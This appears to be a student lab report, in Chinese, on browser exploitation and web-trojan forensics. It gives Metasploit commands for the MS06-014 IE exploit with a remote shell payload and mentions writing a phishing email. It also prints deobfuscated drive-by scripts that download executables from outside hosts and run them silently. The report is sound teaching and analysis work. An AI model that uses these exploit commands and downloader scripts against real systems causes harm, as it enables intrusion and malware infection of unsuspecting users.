20242902 2024-2025-2 《网络攻防实践》第11次作业

1.实践内容

  1. web浏览器渗透攻击
    1.1 选择Metasploit中的MS06-014渗透攻击模块
    1.2 设定PAYLOAD为远程Shell连接
    1.3 配置服务器地址和URL参数,生成恶意网页木马脚本
    1.4 在Windows靶机上启动浏览器访问该木马脚本URL
    1.5 在攻击机Metasploit中查看SESSION,并通过该会话在靶机上远程执行命令

  2. 取证分析实践—网页木马攻击场景分析
    2.1 访问start.html,获取new09.htm地址
    2.2 进入new09.htm,解密出文件地址列表
    2.3 对每个地址生成32位小写无扩展名MD5,下载对应文件
    2.4 若文件为网页或脚本,继续递归解密
    2.5 若文件为二进制程序,进行静态反汇编或动态调试
    2.6 重复以上步骤直至所有文件分析完成

  3. 攻防对抗实践:web浏览器渗透攻击攻防
    3.1 攻击方:用Metasploit构造至少两种不同浏览器软件漏洞的渗透攻击代码
    3.2 对渗透代码进行混淆,并封装成带恶意URL的欺骗性邮件
    3.3 防守方:提取邮件中的挂马链接
    3.4 进行链接解混淆,还原原始渗透代码
    3.5 分析渗透代码所针对的Web浏览端软件及其安全漏洞类型

2.实践过程

2.1 web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

2.1.1 选择使用Metasploit中的MS06-014渗透攻击模块

msfconsole 打开Metasploit,再搜索MS06-014攻击模块

使用 exploit/windows/browser/ie_createobject 模块

use exploit/windows/browser/ie_createobject
set payload windows/shell/bind_tcp
show options
set URIPATH / 
exploit


木马URL为:http://172.20.10.11:8080/

2.1.2 选择PAYLOAD为任意远程Shell连接

用这行命令:set payload windows/shell/bind_tcp

2.1.3 设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本

用这行命令:set URIPATH /

2.1.4 在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL

都是桥接模式下,连通性测试,可以通

访问网页木马URL,有回显

2.1.5 在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

攻击机的Metasploit已经接收到了

建立远程控制会话session,使用命令:
sessions -i 1
切换到并与ID为1的已建立会话进行交互

2.2 取证分析实践—网页木马攻击场景分析

2.2.1 首先你应该访问start.html,在这个文件中给出了new09.htm的地址

直接搜索,找到了new09.htm

2.2.2 在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。

在new09.htm中,发现了两个URL,一个是htm一个是js,分别计算一下md5值

http://aa.18dd.net/aa/kl.htm:7f60672dcd6b5e90b6772545ee219bd3
http://js.users.51.la/1299644.js:23180a42a2ff1192150231b44ffdf3d3

2.2.3 如果解密出的地址给出的是网页或脚本文件,请继续解密。

文件 23180a42a2ff1192150231b44ffdf3d3 是一个中文注释,没有实体内容,更像是一个hint
文件 7f60672dcd6b5e90b6772545ee219bd3 是一个高度混淆的js代码,但是查阅可知是base64+xxtea加密的

utf8to16 函数的第二个参数 \x73\x63\x72\x69\x70\x74,换成正常字符串是 script,不知道为什么中间有奇怪的符号隔开

script作为密钥,解密后整理一下,内容如下:

<script>eval("function init(){document.write();}
        window.onload = init;
        if (document.cookie.indexOf('OK') == -1) {
            try {
                var e;
                var ado = (document.createElement("object"));
                ado.setAttribute("classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
                var as = ado.createobject("Adodb.Stream", "")
            } catch (e) {};
            finally {
                var expires = new Date();
                expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);
                document.cookie = 'ce=windowsxp;path=/;expires=' + expires.toGMTString();
                if (e != "[object Error]") {
                    document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")
                } else {
                    try {
                        var f;
                        var storm = new ActiveXObject("MPS.StormPlayer");
                    } catch (f) {};
                    finally {
                        if (f != "[object Error]") {
                            document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")
                        }
                    }
                    try {
                        var g;
                        var pps = new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");
                    } catch (g) {};
                    finally {
                        if (g != "[object Error]") {
                            document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")
                        }
                    }
                    try {
                        var h;
                        var obj = new ActiveXObject("BaiduBar.Tool");
                    } catch (h) {};
                    finally {
                        if (h != "[object Error]") {
                            obj.DloadDS("http:}}}}}")</script>

里面也有好多URL,哈希后去查看对应的文件。
首先是 1.js(5d7e9058a857aa2abee820d5473c5fa4),打开后是eval里加混淆

解密后得到内容:

var url = "http://down.18dd.net/bb/014.exe";
try {
    var xml = ado.CreateObject("Microsoft.XMLHTTP", "");
    xml.Open("GET", url, 0);
    xml.Send();
    as.type = 1;
    as.open();
    as.write(xml.responseBody);
    path = "..\\ntuser.com";
    as.savetofile(path, 2);
    as.close();
    var shell = ado.createobject("Shell.Application", "");
    shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0)
} catch (e) {}

这里出现了014.exe,二进制程序文件

继续分析 b.js

又是一个高度混淆的eval,使用packed解密得:

有很多shellcode,解密这些shellcode发现下载了 http://down.18dd.net/bb/bf.exe,又是一个二进制程序文件

继续分析 pps.js

好像是八进制,转换成字符串可以发现又是shellcode

同理,解密得下载了 http://down.18dd.net/bb/pps.exe

测试 014.exe/bf.exe/pps.exe/bd.exe的md5值,发现是一样的,同为

2.2.4 如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。

反汇编打开字符串窗口,拖进IDA

下载了20个exe,有shell操作,好像是更改了系统时间

2.3 攻防对抗实践—web浏览器渗透攻击攻防

攻击机kali:172.20.10.11(20242902)
靶机win2k:172.20.10.2(20241901)

2.3.1 攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

攻击方同第一个实验,获取到URL后,写一份钓鱼邮件,引导受害者点击

use exploit/windows/browser/ie_createobject
set payload windows/shell/bind_tcp
set URIPATH /
exploit
sessions -i 1


2.3.2防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

右键查看源码,粘贴出来,格式化一下

<html><head><title></title><script language="javascript">function ZkEcxZ(b,c){var a=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!a){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!a){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!a){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!a){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!a){try{eval("r=o.GetObject(n)")}catch(e){}}return(a)}function VEACbpRI(b){var c=ZkEcxZ(b,"WScript.Shell");var a=ZkEcxZ(b,"ADODB.Stream");var f=c.Environment("Process");var i=document.location+'/payload';var d=null;var g=f.Item("TEMP")+"\\sprurQEToljFDiwHcbQacKs.exe";var h;try{d=new XMLHttpRequest()}catch(f){try{d=new ActiveXObject("Microsoft.XMLHTTP")}catch(f){d=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!d){return(0)}d.open("GET",i,false);d.send(null);h=d.responseBody;a.Type=1;a.Mode=3;a.Open();a.Write(h);a.SaveToFile(g,2);c.Run(g,0)}function qfVbCpGVomqFpNzAMUEypwyIEHI(){var b=0;var c=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(c[b]){var a=null;if(c[b].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+c[b].substring(1,c[b].length-1))}else{try{a=new ActiveXObject(c[b])}catch(e){}}if(a){try{var f=ZkEcxZ(a,"WScript.Shell");if(f){VEACbpRI(a);return(0)}}catch(e){}}b++}}</script></head><body onload='qfVbCpGVomqFpNzAMUEypwyIEHI()'>jqoepWolRSQbZwcySeCduO</body></html>

脚本通过document.location从攻击服务器下载可执行文件,例如sReVIDhPQAnFpHbkZ.exe,并采用每次随机命名的方式以规避查杀
这次随机生成的是 sprurQEToljFDiwHcbQacKs.exe,去进程里查看


溯源找到可执行文件,再结束进程即可解除控制,成功防守

3.学习中遇到的问题及解决

  • 问题1:虚拟机的IE版本太老访问不了qq邮箱
  • 问题1解决方案:使用Firefox12
  • 问题2:qq邮箱的二维码被浏览器挡住了一半,扫不出来
  • 问题2解决方案:使用微信登录

4.实践总结

本次实验主要是网页木马攻击,大部分都是针对浏览器的,不过Metasploit太好用了,直接就能搭建好环境,只要想办法让受害者点击链接就能连接shell,防守方也能溯源到进程解除控制。前面的几个实验比较有难度,有好几层加密混淆,一层一层解下来最后才能得到可执行文件分析。

posted @ 2025-05-15 23:01  Rosy09  阅读(53)  评论(0)    收藏  举报